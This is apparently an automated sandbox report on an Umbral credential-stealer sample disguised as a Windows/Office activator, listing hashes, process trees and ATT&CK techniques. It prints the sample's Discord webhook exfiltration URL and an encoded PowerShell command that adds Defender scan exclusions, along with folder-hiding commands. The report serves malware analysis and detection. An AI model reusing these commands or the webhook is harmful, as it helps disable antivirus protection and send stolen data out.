umbral | 369eac068fdcfd38726f9f5ef813f1ddee9ada72ccf1dde4bbc28c908e3cc6d2

Analysis

max time kernel
139s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11-10-2023 13:01

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General

Target

Windows_Office Activator By RXS.exe
Size

779KB
MD5

7fc8b5c1779a9aeeecfcb4241e263d00
SHA1

e106ecab86ae0aa5fd94bffe49279fe793bb5e2c
SHA256

a8f2fe0ab643b948071bdb619fd4579740336e5744bfd4f2aed4c674f7c75f4f
SHA512

b99b746339cff5142d504bdeb4551d305034f8463f991100f200f83e10805a79c573a611a4a24558c4c41eab7460f5dafecd40c69fdc32d4c0faefd86285c947
SSDEEP

24576:FBuDErbOl69QjPPN15Nxtug2GNqfpcgHN:zuUE6aVNxtlaRc0N

Score

10^/10

umbral stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1155956024495308830/o395pHkaR0VtcxpxF8d-fTNY_r32FGWRVqhqpd3v2J7ysT_PVR1FckU2n2mU2vV4jiQL

Signatures

Detect Umbral payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023215-23.dat	family_umbral
behavioral2/memory/4112-26-0x000001CBC8650000-0x000001CBC8690000-memory.dmp	family_umbral
behavioral2/files/0x0007000000023215-24.dat	family_umbral
behavioral2/files/0x0007000000023215-18.dat	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation	Windows_Office Activator By RXS.exe

Executes dropped EXE 2 IoCs

pid	Process
1876	Windows+Office Activator By RXS.exe
4112	office.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4380	powershell.exe
4380	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4112	office.exe
Token: SeIncreaseQuotaPrivilege	2992	wmic.exe
Token: SeSecurityPrivilege	2992	wmic.exe
Token: SeTakeOwnershipPrivilege	2992	wmic.exe
Token: SeLoadDriverPrivilege	2992	wmic.exe
Token: SeSystemProfilePrivilege	2992	wmic.exe
Token: SeSystemtimePrivilege	2992	wmic.exe
Token: SeProfSingleProcessPrivilege	2992	wmic.exe
Token: SeIncBasePriorityPrivilege	2992	wmic.exe
Token: SeCreatePagefilePrivilege	2992	wmic.exe
Token: SeBackupPrivilege	2992	wmic.exe
Token: SeRestorePrivilege	2992	wmic.exe
Token: SeShutdownPrivilege	2992	wmic.exe
Token: SeDebugPrivilege	2992	wmic.exe
Token: SeSystemEnvironmentPrivilege	2992	wmic.exe
Token: SeRemoteShutdownPrivilege	2992	wmic.exe
Token: SeUndockPrivilege	2992	wmic.exe
Token: SeManageVolumePrivilege	2992	wmic.exe
Token: 33	2992	wmic.exe
Token: 34	2992	wmic.exe
Token: 35	2992	wmic.exe
Token: 36	2992	wmic.exe
Token: SeIncreaseQuotaPrivilege	2992	wmic.exe
Token: SeSecurityPrivilege	2992	wmic.exe
Token: SeTakeOwnershipPrivilege	2992	wmic.exe
Token: SeLoadDriverPrivilege	2992	wmic.exe
Token: SeSystemProfilePrivilege	2992	wmic.exe
Token: SeSystemtimePrivilege	2992	wmic.exe
Token: SeProfSingleProcessPrivilege	2992	wmic.exe
Token: SeIncBasePriorityPrivilege	2992	wmic.exe
Token: SeCreatePagefilePrivilege	2992	wmic.exe
Token: SeBackupPrivilege	2992	wmic.exe
Token: SeRestorePrivilege	2992	wmic.exe
Token: SeShutdownPrivilege	2992	wmic.exe
Token: SeDebugPrivilege	2992	wmic.exe
Token: SeSystemEnvironmentPrivilege	2992	wmic.exe
Token: SeRemoteShutdownPrivilege	2992	wmic.exe
Token: SeUndockPrivilege	2992	wmic.exe
Token: SeManageVolumePrivilege	2992	wmic.exe
Token: 33	2992	wmic.exe
Token: 34	2992	wmic.exe
Token: 35	2992	wmic.exe
Token: 36	2992	wmic.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 4380	1244	Windows_Office Activator By RXS.exe	91
PID 1244 wrote to memory of 4380	1244	Windows_Office Activator By RXS.exe	91
PID 1244 wrote to memory of 1876	1244	Windows_Office Activator By RXS.exe	92
PID 1244 wrote to memory of 1876	1244	Windows_Office Activator By RXS.exe	92
PID 1244 wrote to memory of 1876	1244	Windows_Office Activator By RXS.exe	92
PID 1244 wrote to memory of 4112	1244	Windows_Office Activator By RXS.exe	94
PID 1244 wrote to memory of 4112	1244	Windows_Office Activator By RXS.exe	94
PID 1876 wrote to memory of 1000	1876	Windows+Office Activator By RXS.exe	95
PID 1876 wrote to memory of 1000	1876	Windows+Office Activator By RXS.exe	95
PID 1876 wrote to memory of 1000	1876	Windows+Office Activator By RXS.exe	95
PID 1000 wrote to memory of 1152	1000	cmd.exe	96
PID 1000 wrote to memory of 1152	1000	cmd.exe	96
PID 1000 wrote to memory of 1152	1000	cmd.exe	96
PID 4112 wrote to memory of 2992	4112	office.exe	108
PID 4112 wrote to memory of 2992	4112	office.exe	108
PID 1876 wrote to memory of 1692	1876	Windows+Office Activator By RXS.exe	99
PID 1876 wrote to memory of 1692	1876	Windows+Office Activator By RXS.exe	99
PID 1876 wrote to memory of 1692	1876	Windows+Office Activator By RXS.exe	99
PID 1876 wrote to memory of 1480	1876	Windows+Office Activator By RXS.exe	100
PID 1876 wrote to memory of 1480	1876	Windows+Office Activator By RXS.exe	100
PID 1876 wrote to memory of 1480	1876	Windows+Office Activator By RXS.exe	100
PID 1876 wrote to memory of 2200	1876	Windows+Office Activator By RXS.exe	107
PID 1876 wrote to memory of 2200	1876	Windows+Office Activator By RXS.exe	107
PID 1876 wrote to memory of 2200	1876	Windows+Office Activator By RXS.exe	107
PID 1876 wrote to memory of 2032	1876	Windows+Office Activator By RXS.exe	101
PID 1876 wrote to memory of 2032	1876	Windows+Office Activator By RXS.exe	101
PID 1876 wrote to memory of 2032	1876	Windows+Office Activator By RXS.exe	101
PID 2032 wrote to memory of 3524	2032	cmd.exe	116
PID 2032 wrote to memory of 3524	2032	cmd.exe	116
PID 2032 wrote to memory of 3524	2032	cmd.exe	116
PID 1876 wrote to memory of 4004	1876	Windows+Office Activator By RXS.exe	105
PID 1876 wrote to memory of 4004	1876	Windows+Office Activator By RXS.exe	105
PID 1876 wrote to memory of 4004	1876	Windows+Office Activator By RXS.exe	105
PID 1876 wrote to memory of 3388	1876	Windows+Office Activator By RXS.exe	102
PID 1876 wrote to memory of 3388	1876	Windows+Office Activator By RXS.exe	102
PID 1876 wrote to memory of 3388	1876	Windows+Office Activator By RXS.exe	102
PID 1876 wrote to memory of 2304	1876	Windows+Office Activator By RXS.exe	104
PID 1876 wrote to memory of 2304	1876	Windows+Office Activator By RXS.exe	104
PID 1876 wrote to memory of 2304	1876	Windows+Office Activator By RXS.exe	104
PID 1876 wrote to memory of 4804	1876	Windows+Office Activator By RXS.exe	103
PID 1876 wrote to memory of 4804	1876	Windows+Office Activator By RXS.exe	103
PID 1876 wrote to memory of 4804	1876	Windows+Office Activator By RXS.exe	103

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3524	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Windows_Office Activator By RXS.exe
"C:\Users\Admin\AppData\Local\Temp\Windows_Office Activator By RXS.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAcwB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AeABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAcQBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAYgB1ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4380
- C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe
  "C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=0025
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\SysWOW64\mode.com
      mode con:cols=0080 lines=0025
      4⤵
      PID:1152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c title Windows+Office Activator By RXS
    3⤵
    PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
    3⤵
    PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2032
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
      4⤵
      Views/modifies file attributes
      PID:3524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat
    3⤵
    PID:3388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
    3⤵
    PID:4004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
    3⤵
    PID:2200
- C:\Users\Admin\AppData\Local\Temp\office.exe
  "C:\Users\Admin\AppData\Local\Temp\office.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2992

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:3524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

Filesize
539KB

MD5
97701b0653e97ef63e5ab2ece9078193

SHA1
476943cbdf022d93a9a7b742f6b1672d969283c1

SHA256
9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

SHA512
3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

Filesize
539KB

MD5
97701b0653e97ef63e5ab2ece9078193

SHA1
476943cbdf022d93a9a7b742f6b1672d969283c1

SHA256
9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

SHA512
3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Windows+Office Activator By RXS.exe

Filesize
539KB

MD5
97701b0653e97ef63e5ab2ece9078193

SHA1
476943cbdf022d93a9a7b742f6b1672d969283c1

SHA256
9f220a38f35889402f76e22c8faffdaec9c1cf8196c34f81d9f8efe2448084bc

SHA512
3a22c94127dde5ab397cccd27d337591fbe6c8724fb70863795b00ef7714539090e193da5f6a80f1e989ec35d8428c3334a0958980c12426220e68540a32ee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_moopidg4.as5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\i6.bat

Filesize
173B

MD5
0f8f70e88009593eefaa155a8e31b1d6

SHA1
eabcc3f2135e0919e9456da0a4b1084f3382d4b6

SHA256
941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b

SHA512
94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750

Download Submit
C:\Users\Admin\AppData\Local\Temp\office.exe

Filesize
231KB

MD5
68c29400b505fdb81b893319f0f1be96

SHA1
68116a02d6192d3886b4eaf2e1c1a7ee6dae5d14

SHA256
9abd3922e63f5f827d98b48543005f91307ed371d3f252a97b8b5a1949761832

SHA512
4f94ad68b7ea48de0f9e6adb0c71dd229876355209e5572c95f2fbcc640f61e9cbe72d2a31e9619401cb346993699794bee674fe14252ec957f6e81c56c55da3

Download Submit
C:\Users\Admin\AppData\Local\Temp\office.exe

Filesize
231KB

MD5
68c29400b505fdb81b893319f0f1be96

SHA1
68116a02d6192d3886b4eaf2e1c1a7ee6dae5d14

SHA256
9abd3922e63f5f827d98b48543005f91307ed371d3f252a97b8b5a1949761832

SHA512
4f94ad68b7ea48de0f9e6adb0c71dd229876355209e5572c95f2fbcc640f61e9cbe72d2a31e9619401cb346993699794bee674fe14252ec957f6e81c56c55da3

Download Submit
C:\Users\Admin\AppData\Local\Temp\office.exe

Filesize
231KB

MD5
68c29400b505fdb81b893319f0f1be96

SHA1
68116a02d6192d3886b4eaf2e1c1a7ee6dae5d14

SHA256
9abd3922e63f5f827d98b48543005f91307ed371d3f252a97b8b5a1949761832

SHA512
4f94ad68b7ea48de0f9e6adb0c71dd229876355209e5572c95f2fbcc640f61e9cbe72d2a31e9619401cb346993699794bee674fe14252ec957f6e81c56c55da3

Download Submit
memory/1244-2-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-29-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/1244-0-0x0000000000D50000-0x0000000000E1A000-memory.dmp

Filesize
808KB

Download
memory/1244-3-0x000000001BB60000-0x000000001BB70000-memory.dmp

Filesize
64KB

Download
memory/1244-1-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/4112-26-0x000001CBC8650000-0x000001CBC8690000-memory.dmp

Filesize
256KB

Download
memory/4112-41-0x000001CBE2D10000-0x000001CBE2D20000-memory.dmp

Filesize
64KB

Download
memory/4112-49-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/4112-40-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/4380-42-0x00000217D60E0000-0x00000217D60F0000-memory.dmp

Filesize
64KB

Download
memory/4380-44-0x00000217D60E0000-0x00000217D60F0000-memory.dmp

Filesize
64KB

Download
memory/4380-47-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download
memory/4380-38-0x00000217D60B0000-0x00000217D60D2000-memory.dmp

Filesize
136KB

Download
memory/4380-28-0x00000217D60E0000-0x00000217D60F0000-memory.dmp

Filesize
64KB

Download
memory/4380-27-0x00007FFF69550000-0x00007FFF6A011000-memory.dmp

Filesize
10.8MB

Download